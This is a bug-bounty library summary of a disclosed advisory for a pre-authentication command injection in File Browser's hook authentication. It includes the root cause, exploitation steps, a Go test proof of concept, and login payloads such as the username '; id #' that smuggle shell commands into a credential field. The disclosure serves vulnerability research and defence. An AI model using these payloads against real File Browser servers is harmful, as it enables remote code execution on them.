# File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)

File Browser's Hook Authentication expands unauthenticated login credentials into a shell command via os.Expand, letting an attacker inject `; id #` for pre-auth RCE.

- Payout: Research
- Severity: critical
- Program: File Browser
- Found by: Saku0512
- Disclosed: 2026-07-10
- CVE: CVE-2026-54088
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-m93h-4hw7-5qcm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-m93h-4hw7-5qcm
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** Hook Authentication login endpoint (auth/hook.go RunCommand)
**Root cause:** HookAuth.RunCommand substitutes attacker-controlled username/password into the configured shell command using os.Expand with no escaping or quoting, so shell metacharacters in credentials are interpreted by the shell.
**Steps:**
1. Admin enables Hook Authentication with command `sh -c "test $USERNAME = 'admin'"`.
2. Unauthenticated attacker sends login request with username `; id #` and any password.
3. os.Expand produces `sh -c "test ; id # = 'admin'"`.
4. `;` terminates the test expression and `id` executes; `#` comments out the remainder.
**How found:** Code review of auth/hook.go: noticed os.Expand performs plain-text substitution of HTTP-supplied credentials into a shell command string with no escaping, and that the login endpoint is reachable pre-authentication.
**Exploitation:** A single unauthenticated HTTP login request with a crafted username containing shell metacharacters causes the server to execute arbitrary OS commands under the File Browser process privileges, before any credential check.
**Insight:** When a feature delegates auth to an external command, check whether user input is concatenated into a shell string (os.Expand, string formatting) rather than passed as argv/env — and whether that path is reachable before authentication.

## Proof of concept (copied exactly from the original report)

**Go test PoC injecting username into hook command**

```
package auth

import (
        "os"
        "strings"
        "testing"
)

func TestPoC_AuthHookInjection(t *testing.T) {
        // Simulate the admin-configured hook authentication command.
        // This represents a realistic configuration: verify the username via a shell expression.
        a := &HookAuth{
                Command: "sh -c $USERNAME",
                Cred: hookCred{
                        // Attacker-supplied username from the login form.
                        // The password is irrelevant.
                        Username: "id ; echo injected",
                        Password: "anything",
                },
        }

        // Simulate the RunCommand logic in auth/hook.go
        command := strings.Split(a.Command, " ")

        envMapping := func(key string) string {
                if key == "USERNAME" {
                        return a.Cred.Username
                }
                return os.Getenv(key)
        }

        for i, arg := range command {
                if i == 0 {
                        continue
                }
                // os.Expand substitutes $USERNAME with the attacker's input.
                // The result is treated as a shell script — no escaping is applied.
                command[i] = os.Expand(arg, envMapping)
        }

        // The shell will execute: sh -c "id ; echo injected"
        expectedArg := "id ; echo injected"
        if command[2] != expectedArg {
                t.Errorf("Expected command argument %q, got %q", expectedArg, command[2])
        }

        t.Logf("Confirmed: malicious username was injected as a shell script. Executing: %v", command)
}
```

**Login request with injected username payload**

```
An unauthenticated attacker sends a login request (e.g., via `curl` or the web UI) with:
   - **Username:** `; id #`
   - **Password:** (any value)
3. The server executes:
   sh -c "test ; id # = 'admin'"
4. The `id` command runs on the server, confirming pre-authentication RCE.
```

